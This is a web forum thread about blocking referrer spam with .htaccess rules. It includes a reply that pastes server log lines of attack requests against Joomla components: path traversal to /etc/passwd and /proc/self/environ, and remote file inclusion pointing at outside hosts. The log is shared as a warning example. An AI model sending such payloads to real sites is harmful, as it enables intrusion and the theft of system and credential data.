How to block spam referer

[irbis2000]

Hi,

I saw that I get visits from a referer and after the = it's my website's url
make-money-online. 7makemoneyonline .com/money.php?u=mywebsiteurl
How to block visits coming from such referers?
Is there any code that can be added to htaccess?
Thanks!

[SharkyKZ]

This is a standard method, but it doesn't seem to work against these new spammers:

Code: Select all

RewriteCond %{HTTP_REFERER} 7makemoneyonline\.com [NC]
RewriteRule .* - [F]

Try this:

Code: Select all

SetEnvIfNoCase Referer 7makemoneyonline.com spammer=yes

Order allow,deny
Allow from all
Deny from env=spammer

[all rise]

Hi, do you know what is the purpose of these visits, thx

[SharkyKZ]

Spammers want you to visit their site. Referer spam can also be used as a black hat SEO technique. Recently there's been a huge referer spam coming from buttons-for-website.com. Now it redirects to sharebutton.net. If you enter "buttons for website" in Google, chances are sharebutton.net will be shown in first result page.

[irbis2000]

Thanks SharkyKZ
Should I add both codes in htaccess or only the second?
Thanks!

[mandville]

what do you mean by "both htaccess" ? you should only have .htaccess

on a general note..
referrer spam is not in itself a security issue.
it is mostly done so that a url will either be seen in logs and clicked by the site admin or will appear in a public view stats and therefore be indexed.
an example grabbed off web is the screenshot.
an example of more suspicious activity in your logs that your host should block are

Code: Select all

13|/index.php?option=com_log&Itemid=&mosConfig_absolute_path=../../../../../../../../../../../../../../../proc/self/environ%00|
13|/index.php?option=com_letterman&task=view&Itemid=&mosConfig_absolute_path=nic.bupt.edu.cn/media/id1.txt?|
13|/index.php?option=com_jwhmcs&controller=../../../../../../../../../../../../../../../etc/passwd%00|
13|/index.php?option=com_jfeedback&controller=../../../../../../../../../../../../../../../../proc/self/environ%00|
13|/index.php?option=com_jashowcase&view=jashowcase&controller=../../../../../../../../../../../../../../../../../../../proc/self/environ%00|
13|/index.php?option=com_graphics&controller=../../../../../../../../../../../../../../../../proc/self/environ%00|
13|/index.php?option=com_fabrik&task=view&Itemid=&mosConfig.absolute.path=christenplein.com/id1.txt??|
13|/index.php?option=com_fabrik&controller=../../../../../../../../../../../../../proc/self/environ%00|
13|/index.php?option=com_dbquery&Itemid=../../../../../../../../../../../../../../../proc/self/environ%00|
13|/index.php?option=com_dbquery&Itemid=&mosConfig_absolute_path=../../../../../../../../../../../../../../

referrer spam reference http://en.wikipedia.org/wiki/Referer_spam

refere spam.jpg

[SharkyKZ]

Thanks SharkyKZ
Should I add both codes in htaccess or only the second?
Thanks!

Only the second, since the first one doesn't seem to work with these new spammers like semalt.com, 7makemoneyonline.com and buttons-for-website.com.

[irbis2000]

Thanks SharkyKZ!